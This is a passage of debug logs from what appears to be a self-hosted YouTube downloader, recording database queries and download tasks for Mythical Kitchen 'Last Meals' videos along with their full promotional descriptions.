food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Josh Peck Eats His Last Meal", "https://www.youtube.com/watch?v=ztSj01t05ZE", "ztSj01t05ZE", 1585, false, "/downloads/Last Meals/2022-08-02 Josh Peck Eats His Last Meal/Josh Peck Eats His Last Meal [ztSj01t05ZE].mp4", false, 1, ~U[2022-08-02 10:00:29Z]] 20:46:59.021 [debug] QUERY OK source="sources" db=0.0ms idle=51.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:59.021 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:59.021 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 20:46:59.021 [info] Kicking off download for media item #7 (ztSj01t05ZE) 20:46:59.022 [debug] QUERY OK source="tasks" db=0.0ms idle=0.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [10, 7, ~U[2026-03-28 00:46:59Z], ~U[2026-03-28 00:46:59Z]] 20:46:59.022 [debug] Current batch of media processed. Will check again in 1000ms 20:47:00.022 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Link Neal's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1883, "filename" => "/downloads/Last Meals/2023-02-09 Link Eats His Last Meal/Link Eats His Last Meal [4ntg0ZFmyqU].mp4", "id" => "4ntg0ZFmyqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4ntg0ZFmyqU", "playlist_index" => 8, "timestamp" => 1675940403, "title" => "Link Eats His Last Meal", "upload_date" => "20230209"} 20:47:00.023 [debug] QUERY OK source="sources" db=0.2ms idle=1001.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:00.023 [debug] QUERY OK source="sources" db=0.1ms idle=1001.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:00.024 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-09 11:00:03Z], 1] 20:47:00.027 [debug] QUERY OK source="media_items" db=2.0ms idle=1002.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Link Neal's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Link Eats His Last Meal", "cb0b465b-09ee-4d0c-a9bf-406081a5b459", "https://www.youtube.com/watch?v=4ntg0ZFmyqU", false, "4ntg0ZFmyqU", 1883, false, 8, "/downloads/Last Meals/2023-02-09 Link Eats His Last Meal/Link Eats His Last Meal [4ntg0ZFmyqU].mp4", false, false, 1, [], 0, ~U[2023-02-09 11:00:03Z], ~U[2026-03-28 00:47:00Z], ~U[2026-03-28 00:47:00Z], "Today, Josh is cooking Link Neal's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Link Eats His Last Meal", "https://www.youtube.com/watch?v=4ntg0ZFmyqU", "4ntg0ZFmyqU", 1883, false, "/downloads/Last Meals/2023-02-09 Link Eats His Last Meal/Link Eats His Last Meal [4ntg0ZFmyqU].mp4", false, 1, ~U[2023-02-09 11:00:03Z]] 20:47:00.027 [debug] QUERY OK source="sources" db=0.2ms idle=55.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:00.028 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:00.029 [debug] QUERY OK source="media_items" db=0.4ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 20:47:00.029 [info] Kicking off download for media item #8 (4ntg0ZFmyqU) 20:47:00.032 [debug] QUERY OK source="tasks" db=0.2ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [11, 8, ~U[2026-03-28 00:47:00Z], ~U[2026-03-28 00:47:00Z]] 20:47:00.032 [debug] Current batch of media processed. Will check again in 1000ms 20:47:00.558 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:01.033 [debug] Current batch of media processed. Will check again in 1000ms 20:47:02.035 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Lana Condor eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Lana's Last Meal\n0:30 Natural Rizz\n1:23 Have You Thought About Your Last Meal Before?\n3:04 1st Course\n8:29 A Girl Version Of Andrew Garfield In Hacksaw Ridge\n12:05 Tattoos Do Not Work On Lana\n13:05 2nd Course\n13:57 Dining Solo\n16:12 Adopted From Vietnam\n23:01 Women Need More Sleep\n24:23 Do We Have Free Will?\n25:18 Losing Mom\n27:09 3rd Course\n29:13 Talk To Yourself Like Your Best Friend\n30:04 Spicy Noodles Help With Grief\n32:00 Adopting A Puppy From Buzzfeed\n33:19 4th Course\n34:13 Growing Up On Whidbey Island\n35:17 Mom's Legacy\n36:59 Lightning Round\n39:56 Lana's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2453, "filename" => "/downloads/Last Meals/2025-01-21 Lana Condor Eats Her Last Meal/Lana Condor Eats Her Last Meal [Tzo8Z3qLV38].mp4", "id" => "Tzo8Z3qLV38", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Tzo8Z3qLV38", "playlist_index" => 9, "timestamp" => 1737457240, "title" => "Lana Condor Eats Her Last Meal", "upload_date" => "20250121"} 20:47:02.035 [debug] QUERY OK source="sources" db=0.3ms idle=1061.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:02.036 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=978.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:02.037 [debug] QUERY OK source="media_items" db=0.3ms idle=979.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-21 11:00:40Z], 1] 20:47:02.041 [debug] QUERY OK source="media_items" db=3.1ms idle=979.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Lana Condor eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: 